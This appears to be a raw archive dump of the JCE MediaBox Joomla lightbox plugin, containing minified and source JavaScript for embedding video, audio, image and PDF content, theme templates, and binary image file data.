createComponentURL(src){if(!WfMediabox.settings.convert_local_url)return src;var uri=parseURL(src);return islocal(src)&&(uri.query?uri.query.indexOf("tmpl")==-1&&(uri.query+="&tmpl=component"):uri.query="tmpl=component"),src=buildURL(uri)}function createObject(data,embed){delete data.group,delete data.title,delete data.caption,delete data.width,delete data.height;var attribs=["id","name","style","codebase","classid","type","data"],html='<object class="wf-mediabox-focus"';for(var n in data)attribs.indexOf(n)!==-1&&"string"==typeof data[n]&&(html+=" "+n+'="'+decodeURIComponent(data[n])+'"',delete data[n]);html+=">";for(var n in data)"string"==typeof data[n]&&(html+=' <param name="'+n+'" value="'+decodeURIComponent(data[n])+'" />');if(embed){html+="<embed";for(var n in data)"string"==typeof data[n]&&(html+=" "+n+'="'+decodeURIComponent(data[n])+'"');html+="></embed>"}return html+="</object>"}function createIframe(src,attribs){return'<iframe src="'+src+'" frameborder="0" scrolling="0" allowfullscreen="allowfullscreen" />'}WfMediabox.Plugin.add("flash",function(){this.type="object",this.html=function(data){return data.type="application/x-shockwave-flash",data.data=data.src,$(createObject(data,!0))},this.is=function(data){return/\.swf\b/.test(data.src)}}),WfMediabox.Plugin.add("video",function(){this.type="video",this.html=function(data){var n,attribs=['class="wf-mediabox-video wf-mediabox-focus"'],params=data.params||{};for(n in params)isBool(n)?attribs.push(n):attribs.push(n+'="'+params[n]+'"');params.autoplay||attribs.push("controls"),WfMediabox.Env.mobile&&attribs.push("playsinline");var ext=data.src.split(".").pop(),type=WfMediabox.Mimetype.guess(ext)||"video/mpeg",video=$("<video "+attribs.join(" ")+' tabindex="0" />').on("loadedmetadata",function(e){$(this).attr({width:this.videoWidth||"",height:this.videoHeight||""})}).append('<source src="'+data.src+'" type="'+type+'" />');return video},this.is=function(data){var src=data.src;return src=src.split("?")[0],(/video\/(mp4|mpeg|webm|ogg)/.test(data.type)||/\.(mp4|webm|ogg)\b/.test(src))&&WfMediabox.Env.video}}),WfMediabox.Plugin.add("audio",function(){this.type="audio",this.html=function(data){var n,attribs=['src="'+data.src+'"','class="wf-mediabox-audio wf-mediabox-focus"'],params=data.params||{};for(n in params)isBool(n)?attribs.push(n):attribs.push(n+'="'+params[n]+'"');return params.autoplay||attribs.push("controls"),$("<audio "+attribs.join(" ")+' tabindex="0" />')},this.is=function(data){var src=data.src;return src=src.split("?")[0],(/audio\/(mp3|mpeg|oga|x-wav)/.test(data.type)||/\.(mp3|oga|wav|m4a)\b/.test(src))&&WfMediabox.Env.audio}}),WfMediabox.Plugin.add("dailymotion",function(){function processURL(s){var u="https://dailymotion.com/embed/video/",m=s.match(/dai\.?ly(motion)?(.+)?\/(swf|video)?\/?([a-z0-9]+)_?/);return m&&(u+=m[4]),u}this.is=function(data){return/dai\.?ly(motion)/.test(data.src)},this.width=480,this.type="iframe",this.html=function(data){var ifr=$(createIframe(processURL(data.src)));return $(ifr).addClass("wf-mediabox-iframe-video"),ifr}}),WfMediabox.Plugin.add("quicktime",function(){this.html=function(data){return data.type="video/quicktime",data.classid="clsid:02bf25d5-8c17-4b23-bc80-d3488abddc6b",data.codebase="https://www.apple.com/qtactivex/qtplugin.cab#version=6,0,2,0",$(createObject(data))},this.type="object",this.width=853,this.is=function(data){return/\.(mov)\b/.test(data.src)}}),WfMediabox.Plugin.add("windowsmedia",function(){this.type="object",this.html=function(data){return data.type="application/x-mplayer2",data.classid="clsid:6bf52a52-394a-11d3-b153-00c04f79faa6",data.codebase="https://activex.microsoft.com/activex/controls/mplayer/en/nsmp2inf.cab#Version=5,1,52,701",$(createObject(data,!0))},this.is=function(data){return/\.(wmv|avi)\b/.test(data.src)}}),WfMediabox.Plugin.add("youtube",function(){function processURL(v){return v=v.replace(/youtu(\.)?be([^\/]+)?\/(.+)/,function(a,b,c,d){return d=d.replace(/(watch\?v=|v\/|embed\/)/,""),b&&!c&&(c=".com"),d.indexOf("?")===-1&&(d=d.replace(/&/,"?")),"youtube"+c+"/embed/"+d}),v=v.replace(/\/\/youtube/i,"//www.youtube"),v=v.replace(/^http:\/\//,"https://")}var props=["autoplay","cc_lang_pref","cc_load_policy","color","controls","disablekb","enablejsapi","end","fs","hl","iv_load_policy","list","listType","loop","modestbranding","origin","playlist","playsinline","rel","start","widget_referrer"];this.is=function(data){return/youtu(\.)?be([^\/]+)?\/(.+)/.test(data.src)},this.width=560,this.type="iframe",this.html=function(data){var src=processURL(data.src),ifr=$(createIframe(src));if(data.params){var allow=["accelerometer","encrypted-media","gyroscope","picture-in-picture","allowfullscreen"],params={};$.each(data.params,function(key,value){key.indexOf("youtube-")!==-1&&(key=key.replace("youtube-","")),$.inArray(props,key)!=-1&&(params[key]=value,"autoplay"==key&&value&&allow.push(key))}),allow.length&&$(ifr).attr("allow",allow.join(";")),params=$.param(params),params&&(src+=src.indexOf("?")!==-1?"&"+params:"?"+params,$(ifr).attr("src",src))}return $(ifr).addClass("wf-mediabox-iframe-video"),ifr}}),WfMediabox.Plugin.add("vimeo",function(){function processURL(s){return s.indexOf("player.vimeo.com/video/")==-1&&(s=s.replace(/vimeo\.com\/(?:\w+\/){0,3}((?:[0-9]+\b)(?:\/[a-z0-9]+)?)/,function(match,value){var hash="",params=value.split("/"),id=params[0];return 2==params.length&&(hash=params[1]),"player.vimeo.com/video/"+id+(hash?"?h="+hash:"")})),s=s.replace(/^http:\/\//,"https://")}this.is=function(data){return/vimeo\.com\/(\w+\/)?(\w+\/)?([0-9]+)/.test(data.src)},this.width=500,this.type="iframe",this.html=function(data){var src=processURL(data.src),ifr=$(createIframe(src));if($(ifr).addClass("wf-mediabox-iframe-video"),data.params){var params={};$.each(data.params,function(key,value){key.indexOf("vimeo-")!==-1&&(key=key.replace("vimeo-",""),params[key]=value)}),params=$.param(params),params&&(src+=src.indexOf("?")!==-1?"&"+params:"?"+params,$(ifr).attr("src",src))}return ifr}}),$(".wf-mediabox").on("WfMediabox:plugin",function(e,data){function isImage(data){var src=data.src;return src=src.split("?")[0],/image\/?/.test(data.type)||/\.(jpg|jpeg|png|apng|gif|bmp|tif|webp)$/i.test(src)}if(isImage(data)){var $img=$('<img src="'+data.src+'" class="wf-mediabox-img" alt="'+decodeURIComponent(data.alt||data.title||"")+'" tabindex="0" />');return data.params&&$.each(data.params,function(name,value){"srcset"===name&&(value=value.replace(/(?:[^\s]+)\s*(?:[\d\.]+[wx])?(?:\,\s*)?/gi,function(match){return islocal(match)?WfMediabox.site+match:match})),$img.attr(name,value)}),$img}return""}),WfMediabox.Plugin.add("image",function(){this.type="image",this.html=function(data){var $img=$('<img src="'+data.src+'" class="wf-mediabox-img" alt="'+decodeURIComponent(data.alt||data.title||"")+'" tabindex="0" />');return data.params&&$.each(data.params,function(name,value){"srcset"===name&&(value=value.replace(/(?:[^\s]+)\s*(?:[\d\.]+[wx])?(?:\,\s*)?/gi,function(match){return islocal(match)?WfMediabox.site+match:match})),$img.attr(name,value)}),$img},this.is=function(data){var src=data.src;return src=src.split("?")[0],/image\/?/.test(data.type)||/\.(jpg|jpeg|png|gif|bmp|tif|webp)$/i.test(src)}}),WfMediabox.Plugin.add("pdf",function(){this.type="iframe",this.html=function(data){var label=data.title||"PDF Iframe";return data.width=data.width||"100%",data.height=data.height||"100%",$('<iframe src="'+data.src+'" frameborder="0" aria-label="'+label+'" />').one("mediabox:load",function(){var self=this;WfMediabox.Env.gecko||(self.src="",setTimeout(function(){self.src=data.src},0))})},this.is=function(data){return"pdf"===data.type||/application\/(x-)?pdf/.test(data.type)||/\.pdf$/i.test(data.src)}}),WfMediabox.Plugin.add("content",function(){this.type="ajax",this.html=function(data){src=createComponentURL(data.src),data.width=data.width||"100%",data.height=data.height||"100%";var iframe=$('<iframe src="'+src+'" />').on("mediabox:load",function(){var n=this,$parent=$(this).parent(),html=this.contentWindow.document.body.innerHTML;window.setTimeout(function(){$(n).remove()},10),$parent.append(html);var uri=parseURL(this.src);if(uri.anchor){var elm=$parent.find("#"+uri.anchor).get(0);elm&&elm.scrollIntoView()}$parent.find('a[href^="#"]').on("click",function(e){e.preventDefault();var id=$(this).attr("href"),elm=$parent.find(id).get(0);elm&&elm.scrollIntoView()}),WfMediabox.create(WfMediabox.getPopups("",$parent)),data.params&&data.params.style&&$('<style type="text/css" />').text(".wf-mediabox-content{"+$("<div />").attr("style",data.params.style).get(0).style.cssText+"}").insertBefore($parent)});return iframe},this.is=function(data){return"ajax"===data.type||"text/html"===data.type||$(data.node).hasClass("ajax")}}),WfMediabox.Plugin.add("dom",function(){this.type="dom",this.html=function(data){var node=$(data.src);return node?$(node).get(0).outerHTML:""},this.is=function(data){return"dom"===data.type}}),WfMediabox.Plugin.add("iframe",function(){this.type="iframe",this.html=function(data){data.width=data.width||"100%",data.height=data.height||"100%",src=createComponentURL(data.src);var ifr=createIframe(src);return $(ifr)},this.is=function(data){return!data.type||"iframe"===data.type}})}(jQuery,WfMediabox),WfMediabox.Theme.add("bootstrap",function(){return[{div:{class:"wf-mediabox-container modal",content:[{div:{class:"modal-header",content:[{button:{type:"button",class:"close wf-mediabox-close",title:"{{close}}","aria-label":"{{close}}",content:[{span:{"aria-hidden":"true",text:"&times;"}}]},div:{class:"wf-mediabox-caption"}}]}},{div:{class:"wf-mediabox-content",content:[{nav:{class:"wf-mediabox-nav modal-body carousel",role:"navigation",content:[{a:{role:"button",class:"left carousel-control wf-mediabox-prev",title:"{{previous}}","aria-label":"{{previous}}",content:[{span:{"aria-hidden":"true",class:"glyphicon glyphicon-chevron-left"}}]}},{a:{role:"button",class:"right carousel-control wf-mediabox-next",title:"{{next}}","aria-label":"{{next}}",content:[{span:{"aria-hidden":"true",class:"glyphicon glyphicon-chevron-right"}}]}}]},div:{class:"wf-mediabox-content-item"}}]}}]}}]}),WfMediabox.Theme.add("light",function(){return[{div:{class:"wf-mediabox-container",content:[{div:{class:"wf-mediabox-content",content:[{div:{class:"wf-mediabox-content-item"}},{button:{class:"wf-mediabox-next",title:"{{next}}","aria-label":"{{next}}"}},{button:{class:"wf-mediabox-prev",title:"{{previous}}","aria-label":"{{previous}}"}}]}},{div:{class:"wf-mediabox-caption"}},{nav:{class:"wf-mediabox-nav",role:"navigation",content:[{button:{class:"wf-mediabox-close",title:"{{close}}","aria-label":"{{close}}",text:"{{close}}"}},{span:{class:"wf-mediabox-numbers",text:"{{numbers_count}}"}}]}}]}}]}),WfMediabox.Theme.add("shadow",function(){return[{div:{class:"wf-mediabox-info-top",content:[{div:{class:"wf-mediabox-caption"}}]}},{div:{class:"wf-mediabox-container",content:[{div:{class:"wf-mediabox-content",content:[{div:{class:"wf-mediabox-content-item"}}]}}]}},{div:{class:"wf-mediabox-info-bottom",content:[{div:{class:"wf-mediabox-nav",role:"navigation",content:[{span:{class:"wf-mediabox-numbers",text:"{{numbers}}"}},{button:{class:"wf-mediabox-close",title:"{{close}}","aria-label":"{{close}}"}},{button:{class:"wf-mediabox-next",title:"{{next}}","aria-label":"{{next}}","svg-icon":"next:shadow"}},{button:{class:"wf-mediabox-prev",title:"{{previous}}","aria-label":"{{previous}}","svg-icon":"prev:shadow"}}]}}]}}]}),WfMediabox.Theme.add("squeeze",function(){return[{div:{class:"wf-mediabox-container",content:[{button:{class:"wf-mediabox-close",title:"{{close}}","aria-label":"{{close}}","svg-icon":"close:squeeze"}},{div:{class:"wf-mediabox-content",content:[{div:{class:"wf-mediabox-content-item"}}]}},{div:{class:"wf-mediabox-caption"}},{nav:{class:"wf-mediabox-nav",role:"navigation",content:[{button:{class:"wf-mediabox-prev",title:"{{previous}}","aria-label":"{{previous}}","svg-icon":"prev:squeeze"}},{button:{class:"wf-mediabox-next",title:"{{next}}","aria-label":"{{next}}","svg-icon":"next:squeeze"}},{span:{class:"wf-mediabox-numbers",text:"{{numbers}}"}}]}}]}}]}),function($){$(".wf-mediabox").on("wf-mediabox:template",function(){})}(jQuery),WfMediabox.Theme.add("standard",function(){return[{div:{class:"wf-mediabox-container",content:[{div:{class:"wf-mediabox-content",content:[{div:{class:"wf-mediabox-content-item"}}]}},{div:{class:"wf-mediabox-caption"}},{nav:{class:"wf-mediabox-nav",role:"navigation",content:[{button:{class:"wf-mediabox-close",title:"{{close}}","aria-label":"{{close}}","svg-icon":"close:standard"}},{button:{class:"wf-mediabox-prev",title:"{{previous}}","aria-label":"{{previous}}","svg-icon":"prev:standard"}},{button:{class:"wf-mediabox-next",title:"{{next}}","aria-label":"{{next}}","svg-icon":"next:standard"}},{span:{class:"wf-mediabox-numbers",text:"{{numbers}}"}}]}}]}}]}),WfMediabox.Theme.add("uikit",function(){return[{div:{class:"wf-mediabox-container uk-modal-dialog uk-modal-dialog-lightbox uk-slidenav-position",content:[{a:{class:"wf-mediabox-close uk-modal-close uk-close uk-close-alt",role:"button",title:"{{close}}","aria-label":"{{close}}"}},{div:{class:"wf-mediabox-content uk-lightbox-content",content:[{nav:{role:"navigation",class:"wf-mediabox-nav",content:[{a:{class:"wf-mediabox-prev uk-slidenav uk-slidenav-contrast uk-slidenav-previous uk-hidden-touch",title:"{{previous}}","aria-label":"{{previous}}",role:"button"}},{a:{class:"wf-mediabox-next uk-slidenav uk-slidenav-contrast uk-slidenav-next uk-hidden-touch",title:"{{next}}","aria-label":"{{next}}",role:"button"}}]},div:{class:"wf-mediabox-content-item"}}]}},{div:{class:"wf-mediabox-caption uk-modal-caption"}}]}}]});PK�(]�ey��!�!(system/jcemediabox/addons/default-src.jsnu�[���/**
 * JCEMediaBox Addons 	1.2
 * @package             JCEMediaBox
 * @url			http://www.joomlacontenteditor.net
 * @copyright           Copyright (C) 2006 - 2015 Ryan Demmer. All rights reserved
 * @license 		GNU/GPL Version 2 - http://www.gnu.org/licenses/gpl-2.0.html
 * @date		24 November 2015
 * This version may have been modified pursuant
 * to the GNU General Public License, and as distributed it includes or
 * is derivative of works licensed under the GNU General Public License or
 * other free or open source software licenses.
 *
 */
(function(mediabox, undefined) {
    // don't load if JCEMediaBox class is not defined
    if (mediabox === undefined) {
        return;
    }

    // JCEMediaBox.Popup shortcut
    var popup = mediabox.Popup, trim = mediabox.trim;

    /**
     * Flash addons
     */
    popup.setAddons('flash', {
        /**
         * Standard Flash object
         * @param {String} v URL
         */
        flash: function(v) {
            if (/\.swf\b/i.test(v)) {
                return {
                    type: 'flash'
                };
            }
        },
        /**
         * Standard Flash object
         * @param {String} v URL
         */
        flv: function(v) {
            if (/\.(flv|f4v)\b/i.test(v)) {
                return {
                    type: 'video/x-flv'
                };
            }
        },
        /**
         * Metacafe - http://www.metacafe.com
         * @param {String} v URL
         */
        metacafe: function(v) {
            if (/metacafe(.+)\/(watch|fplayer)\/(.+)/.test(v)) {
                var s = trim(v);
                if (!/\.swf/i.test(s)) {
                    if (s.charAt(s.length - 1) == '/') {
                        s = s.substring(0, s.length - 1);
                    }
                    s = s + '.swf';
                }

                return {
                    width: 400,
                    height: 345,
                    type: 'flash',
                    attributes: {
                        'wmode': 'opaque',
                        'src': s.replace(/watch/i, 'fplayer')
                    }
                };
            }
        },
        /**
         * Daily Motion - http://www.dailymotion.com
         * @param {String} v URL
         */
        dailymotion: function(v) {
            if (/dailymotion(.+)\/(swf|video)\//.test(v)) {
                var s = trim(v);
                s = s.replace(/_(.*)/, '');

                return {
                    width: 420,
                    height: 339,
                    type: 'flash',
                    'wmode': 'opaque',
                    'src': s.replace(/video/i, 'swf')
                };
            }
        },
        /**
         * Google Video - http://video.google.com
         * @param {String} v URL
         */
        googlevideo: function(v) {
            if (/google(.+)\/(videoplay|googleplayer\.swf)\?docid=(.+)/.test(v)) {
                return {
                    width: 425,
                    height: 326,
                    type: 'flash',
                    'id': 'VideoPlayback',
                    'wmode': 'opaque',
                    'src': v.replace(/videoplay/g, 'googleplayer.swf')
                };
            }
        }
    });

    /**
     * IFrame addons
     */
    popup.setAddons('iframe', {
        /**
         * Youtube - http://www.youtube.com
         * @param {String} v URL
         */
        youtube: function(v) {
            if (/youtu(\.)?be([^\/]+)?\/(.+)/.test(v)) {

                return {
                    width: 425,
                    height: 350,
                    type: 'iframe',
                    'src': v.replace(/youtu(\.)?be([^\/]+)?\/(.+)/, function(a, b, c, d) {
                        var k, query = '';

                        if (/watch\?/.test(d)) {
                            // remove watch?
                            d = d.replace(/watch\?/, '');
                            // get query arguments
                            var args = JCEMediaBox.Popup.params(d);
                            // set video id
                            query += args.v;
                            delete args.v;

                            for (k in args) {
                                query += (((/\?/.test(query)) ? '&' : '?') + k + '=' + args[k]);
                            }

                        } else {
                            query = d.replace(/embed\//, '');
                        }

                        if (b && !c) {
                            c = '.com';
                        }

                        if (!/wmode/.test(query)) {
                            query += /\?/.test(query) ? '&wmode=opaque' : '?wmode=opaque';
                        }

                        return 'youtube' + c + '/embed/' + query;
                        // add www (required by iOS ??)
                    }).replace(/\/\/youtube/i, '//www.youtube')
                };
            }
        },
        vimeo: function(v) {
            if (/vimeo\.com\/(video\/)?([0-9]+)/.test(v)) {
                return {
                    width: 400,
                    height: 225,
                    type: 'iframe',
                    'src': v.replace(/(player\.)?vimeo\.com\/(video\/)?([0-9]+)/, function(a, b, c, d) {
                        if (b) {
                            return a;
                        }
                        return 'player.vimeo.com/video/' + d;
                    })
                };
            }
        },
        /**
         * Twitvid - http://www.twitvid.com
         * @param {String} v URL
         */
        twitvid: function(v) {
            if (/twitvid(.+)\/(.+)/.test(v)) {

                var s = 'http://www.twitvid.com/embed.php?guid=';

                return {
                    width: 480,
                    height: 360,
                    type: 'iframe',
                    'src': v.replace(/(.+)twitvid([^\/]+)\/(.+)/, function(a, b, c, d) {
                        if (/embed\.php/.test(d)) {
                            return a;
                        }

                        return s + d;
                    })
                };
            }
        },
        /**
         * Word
         * @param {String} v URL
         */
        word: function(v) {            
            if (/\.(doc|docx|xls|xlsx|ppt|pptx)$/i.test(v)) {                
                var src = v;
                
                if (mediabox.options.popup.google_viewer) {                    
                    if (!/:\/\//.test(v)) {
                        v = mediabox.site + v.replace('?tmpl=component', '');
                    }
                    
                    src = '//docs.google.com/viewer?url=' + encodeURIComponent(v) + '&embedded=true';
                }
                
                return {
                    'type'  : 'iframe',
                    'src'   : src
                };
            }
        }
    });

    /**
     * Image addons
     */
    popup.setAddons('image', {
        /**
         * Stnadard Image types
         * @param {String} v URL
         */
        image: function(v) {
            if (/\.(jpg|jpeg|png|gif|bmp|tif)$/i.test(v)) {
                return {
                    type: 'image'
                };
            }
        },
        /**
         * Twitpic - http://www.twitpic.com
         * @param {String} v URL
         */
        twitpic: function(v) {
            if (/twitpic(.+)\/(.+)/.test(v)) {
                return {
                    type: 'image'
                };
            }
        }
    });

    /**
     * Image addons
     */
    popup.setAddons('pdf', {
        /**
         * PDF
         * @param {String} v URL
         */
        pdf: function(v) {            
            if (/\.(pdf)$/i.test(v)) {
                //var mobile = mediabox.isAndroid || mediabox.isiOS;
                
                var type = 'pdf';
                var src = /\?#/.test(v) ? v + '&view=fitH' : v + '#view=fitH';
                
                if (mediabox.options.popup.google_viewer) {
                    type = 'iframe';
                    
                    if (!/:\/\//.test(v)) {
                        v = mediabox.site + v.replace('?tmpl=component', '');
                    }
                    
                    src = '//docs.google.com/viewer?url=' + encodeURIComponent(v) + '&embedded=true';
                }
                
                return {
                    'type'  : type,
                    'src'   : src
                };
            }
        }
    });
})(JCEMediaBox);PK�(]�#o,,$system/jcemediabox/addons/index.htmlnu�[���<html><body bgcolor="#FFFFFF"></body></html>PK�(]�#o,,!system/jcemediabox/img/index.htmlnu�[���<html><body bgcolor="#FFFFFF"></body></html>PK�(]t�M++ system/jcemediabox/img/blank.gifnu�[���GIF89a�����!�,D;PK�(]`&h�zz$system/jcemediabox/img/zoom-link.gifnu�[���GIF89a�~����������ϯ����!�,?x���@+0����d��X�_8�D����B!�5�+ �w(;[q5�`�Rr�Y��,6;PK�(]���}��&system/jcemediabox/img/broken-page.pngnu�[����PNG


IHDR���>a�HIDATx��{lT�ǿ�9g��v�7J�@����R����r�BVwW~nĨ�E1�.Y�)���11(��T�l"*�Uw��X.DS�B���P��L�~���N3�\�̙i�'��s��>��y��y��c��}���13O��
�3�0�ǕB��h�˲w:��?>��l須���iɒ%������p8ʔ�g��z��ۋ��^D"�����'�|���x���ѣ �-c*�����U6��?Z[[2�z%��u�n7��ڰp�B�>}ڿf͚����O�j˖,L�7 ��=���c������������̙3M_|��?����;w�R�eK6��y����3}�t����_PYY	��Dx��H��K�.��f���ͫ-c"�m"��Y	A��Á����a��SOMx��w_?~�����"��K��@��TTT��� �}���cKK˟�FcKmm�]M�A�ƣ�k�FD�QD"�!�'O���ܹ�	&��v�m�*���=�� ��WQQn:^UUż��{��v��3f4(�=+͘5�JQXX������UUU1���]�����̙3?��%��ib�X�r��v������M555�5k֢,�7"J��͋-jka %�󨮮!��jre(**"�g϶����B����UC�Xh M


�F�_� �8q"ټy���ڷ��뗨 jL4H��B��cB�EJEEټy�3f�pJ�,�p��t���[ɢU���0�oΉɿ��'��^{���W^yK�דcǎ�_�䌅b
�L.��p��p(U���A�B!#� ��������7n|Kr���͆��к`�`0n��;زe��I�&�>{���l�+E�.���'ﻀ��:X���d��� �����׽���f�z�ĉ��u8U�D���Dee�Eg�a��<��(&q�*&UM"��۫ͯ��궙3g�>y����&���u@`8�u��gq�=���ɴ���ܒiy��b�N'�N�E�EYY�M�v�q��I�!�,Z����׷t���o]�t���W*�*
0ڢ��<���\I!x��G����b������<CU`����MQ@2O?E��cݺu�����F/9r�o�+C�( ��xtuu�b����A�
a�X�iӦ��ׯmnn����ߊ,A��j���v#����7�6m���7���9s.?~��b���A
 FXy�7>��S�2�ׯ��l6���YE�����zzz�*Zu.^��T��(����'�|������>o޼>x��En,A)��3ں�s�Ρ���p����GB�e0BH�!�,_�������?�|�'���]��eY��P(���AD"�e�q��N��N��q`Y,˂�8��YD��z��Ҟ����H�cǎ�UI�U�F���hoo�ѣGņ�y�HD|�<�p8<��L&�j����(//��l-��hċ/�X��3�<���ݱcǎ)%�f�l6cɒ%Al�P(�ߏ@ p�+��#
!��󡯯�ΝC(B4EEE�O����j���6l��q��7/^�Pkk��k
�X��^}�$�0�8:�z�F��`f��p�PHT�KB ��������p����N��#��ٳg�f땐U�DZ�e�0���K�{��1�0�F��08�Tqt:�N'Ο?�{�ĉ�H���C��']�5�A�5�����	!�PkRPP��p��,[������I��]]]C��lA=���l(..V�<����XO>�sA�X6�,+Z�N���tuuq���uw�y�-�}�]Z�HQ�d�ɓ'a4��a�
$}�x��y�G?����z��W ��d��l��l��bAuu5�^ttt���s/1�8Ni�(�4t��t���%�&M�9����U��'�0��t�Dz�sx��ٳgq���={���hooO�7a���hnnƊ+0gΜ�g���D"��bH��!d^�B�+�\	�V+���B4��)@��X2�@A__�9��qH��h���Ç�u�V�r�-x�'��c���=йR8����+�C@Ϳ��[���t ����<�zӞ4��p0�e��ckkkî]�p���dN���lذ[�l�ڵkq��w+^FQQ�8ɔ�Q
H3�A���I1 �y�x>��s)'N��J�K�x<x���q��A������<��,�4YDc�H��4���@��XZ1�?�z��@`�9�_�x6ٿ?�.]�}��ŝ��0LL�"��T���_�\B@p��,�����Ȼ�eQRR�aPXX�P(�@ �p8�Hf�u&8}�4�͛��۷c���ƴ���o�(�~�P�2�4S���D�Z����F��7)B.�v��s�N|��#*d�&[��\Ɍ�*��N���h��b��h�^�g��_��3�����ш���!a��|��7��F</ה����1�<����8��6����/���f���S�LI8똉G�J>�^
=.
��%ʔ)S�p8`����ׇ���{�$K ��kװx�bE�MTQ�H$���A�L&��p1�tp�b
gRKJJ�r�J̝;


��n�^#�.��o��G}�Ç�U��{��]H�1	�B����QTT���b��D"A|��)R����Ę9V�n�c͚5X�bŐ��/!W�^�%K�`�ҥhkkêU�R6�ǏO�TP�T%@�v�<���s��|�B�~���n�c���X�l�V+ÐĊ|�X�9566b۶mX�vmRu�tvv����J:���n=qɵ<o0y�d̟?��͘;w.t:�^/�^/���b��f��`p�
��#�Z�b���+���&]z����T��P%
�z�*�^/B�X���b��b���P�O�.j.\���&�)S&<<�8���x�Qm0IJ���ޚ�7��&���+���p�@7nܐy:w�N��y~�_�����f��b���2�,>��@`��lJ(���ƕ+W���1q�DL�:5�z��|BU@J$��`�Z������px�!�h4
��
��
�^���"ѢЧ^:�k8:���;崮�j�ɓ'>ܸq�0aBJe)�*���=⤎�@�k��Hc�P.�n�&�	z��Ah���M���"�B]]���S�VMT�>�O�V-��+chC'��
}��o���4\dFT���8Bą?��sJu_�`A�e(A�}cA"�S��Ě�M��.ΐB?'������'��?~|��O�;�J?)R������|�h�4̤���ԩSI�_VV��~8鱀\@5�f��I�1�@�6_�7��ᇛN&?O~n(—_~�R}^z饼l|@�Dߏ�@��2�g��'=7�b�޽)9����K�s�3f�t������P#}����<��~(��S��ر���)]KI�K�{�&k�lHi�Pj��Ǥ絷����%n�9/���.ͻߊ�*@�׋C��	�k���O2I!\.��ك�\��˗/O)l���2D�,yol6���nv�b5�pV@���H$�_����ؿʲB��ocժU)�#�P��\�R�b���v�СChmmž}�R�5H���صkTM���>�`Jq},��.l߾}�� �H��*���X�n/^,.�M�j�MMMX�n�ϟ���\Cѵ���l��.X��?�<��qǍ�()�B����ݻ�$��c>��h`�Z�r�p��%����t�h��:u*k&���eeeI_��Q@YYYJO麃D�>}z�[��3�6q2�yo\.\.W��I����T�e娒(--Eii��E�$�.`ڴi��=����~0b����D5���˸|��EK.w�X��]�(������%uʹi�Fu�OΨ��d�!��!'��۝�. �������P@I�Ĺ%%%y�e�
J�'-
㨒�93�g�}������]�vm��jYEU|�lT���_�uJ�nݺ5�2�шr�r0
H���K������|mgggƗz�#�J���X��e���bI��)S��{e�T���*V#w���tdɵ���,��bh��0��2�X�X����9b��L���i�;v�P[��@HyM�h�f���d<UT��V+�V�RE���r.
��쓓��d6��z���E��bU�r��Z`̣�V�׮]�]��jEQQQ��B���0/��O�|���X�G1��
hy�����h"�@��As�8Z������h �,��bhQ�G�cM�8i+!�4۟���^�p႟a����v��`ړ*Ҷ���n��#�aLm��m!0�� ���S�E�����[�l1=���S�6�/��\.��|��~�t�\��{?��&�ݾ�j�ֳ,��?��'�<��|�N��+_!�MÔR=�*A�.2E���Ii/�R��&Jؠ)A&�� �A��������?V�}��<oIEND�B`�PK�(]
�7��'system/jcemediabox/img/broken-media.pngnu�[����PNG


IHDR���>a��IDATx��oL��6&�����	�
ğ�隙(B���hI�����VES���Lӆ�&�,e/�(b�#��,LR75QF�5�EЦ+��&. 32��6v��P�E��C���s~~�g�y�3_���k�AAai+�w�޼�֑.�&:88 �c%4<V�Y�ηn�[yy�_F=���`o��
�2�y�L��k�yqq�cP�yH��S-�Pg�@��
�8h����
<	����Ғi��������m�cjj��8h�!�v����-�����I�,�c���ڱ0�q���`4�\��	����Ғi����zai����ڱ0�q0
&5�cLjj��8h�A0�q���D,�����XSSS(�q���y-���u���>y�$�����H(�ܻw�300�pnn.*��(d�Csw��m޴iӆ���₂�"�N��R�R:۵�����gvvvf```�…_�b����j�`���]�v}���������h4��juN�s�T*��`(2E���o8p`~lll���ӟ����K��m�����w��� B����8No�Z�vuu����8v��-	�� i��I�ޔ���<�Drss�;v��j}��ѣ�

�DL�v�RA�=��2�����V�'
�*J������Ǐ������ڵ���_04%y�G>e��.ĥ��t�R�4>�/�e�I�z�\e���`0@ww7���|*���2jkk��p��!
4�D����^�'-#e�]j��������>����ڋ����@ 0��@ ��hrA���x��S�Ti_.��88u�ԇv�}�f�����oNw~��6
��.--]u��q܊Qm4���r}6::�E__������A����Z�ꊌE�kXBccc�ٳg����F������F� S�D�o޼����ZK�:::F:::F<Xy�С�M

�׸+F�R
�|���7�p0\3Gww�k����755�%f<�q:����pX1	��
�v�gy��lxx������P(���'N��Z��f��*ձ*�JUUU���Ұ�Qtl��`P2EOq��3b�D��ߏQ0P��\�٭[���v����\F���es�$ܿ�l5b�XDI�
���,�ż3H4@6l�P f���Ԥ�Z�
������Ō��Z�ܠ�a��^1��Lu\4
_�|yJI�Br�[x����!��f3����$f��۷�^�`I���I��|J�� h��z}�?�E�N�)��vl`�X�M&S���W�\�`zz:"��L��(X
>\k��p�3��ݻC'O��ZW�Pt�۶m+jmm�QVV��
������X[[�"�b�����\��V�}�v��l���M���_ݸq��G��D����$'�[��b��߿�j�ƍ�&��U�Z�V��h4t�ܹ�z{{�$#�
�p8���t�R���xf�v���ܹ���>#�
 ~��s����;;;G��fϋ@���Ǐg�^��љ3g��� 	s��龿�}t���{���
 	o������?^�0	d4�l{�A�6�!-����I`��#VFF��[��d�%|}��gԬ�cBM�$
�L��ŋW���֥2&qoFj_Yuuu}NZ��kơ���x��z����M^"-`5�5�񸑴�l�f�����jq�۷oD�r],��:
����͛7���j�4F���84k����h4�� �%�3rrr���v����&
����?UVVN�3GIIɏ�\�؆���?|�0�S��G��&&&~��<r��@�(��Ԟ�Q0�PS;��A0�q�]JAss�Ik�<0�3@3�'a��p���LCM�$
0K��B:H@M��
�8����1
&5�c`4�
�8h�(��ԎQ0��[��d�)$ޟ�[�����I���Mjj��8h�A0�q���Q0���`2PS;��
����G�W	�|T_�Z�B�7].כ�ud;����1
&5��2�q��#���")!��S2Xz!IAA����!�
��IEND�B`�PK�(]�@��
�
'system/jcemediabox/img/loader-light.gifnu�[���GIF89a  ������������������򺺺���444��ė�����TTT!�NETSCAPE2.0!�
,  �H��
*\�p�	h�p�����"��8��G>D)����R4�C���I��Ë\��9p��:ȹs��1_2`�p`��
u�<	u�SY�ڐkǞ`�F�hv�ƴ6S>u��+�ryJ�/Q�M.0@�p_�+�+���/�KY&]����9�ى
Mr�	�`i�x�r\����˪	vf��jMO�&*Z��؇o�>;��ܦŝ"�,<yQ���:w��a��+g5N1 !�
,�H� �*d�!AFT8���	h,�P�
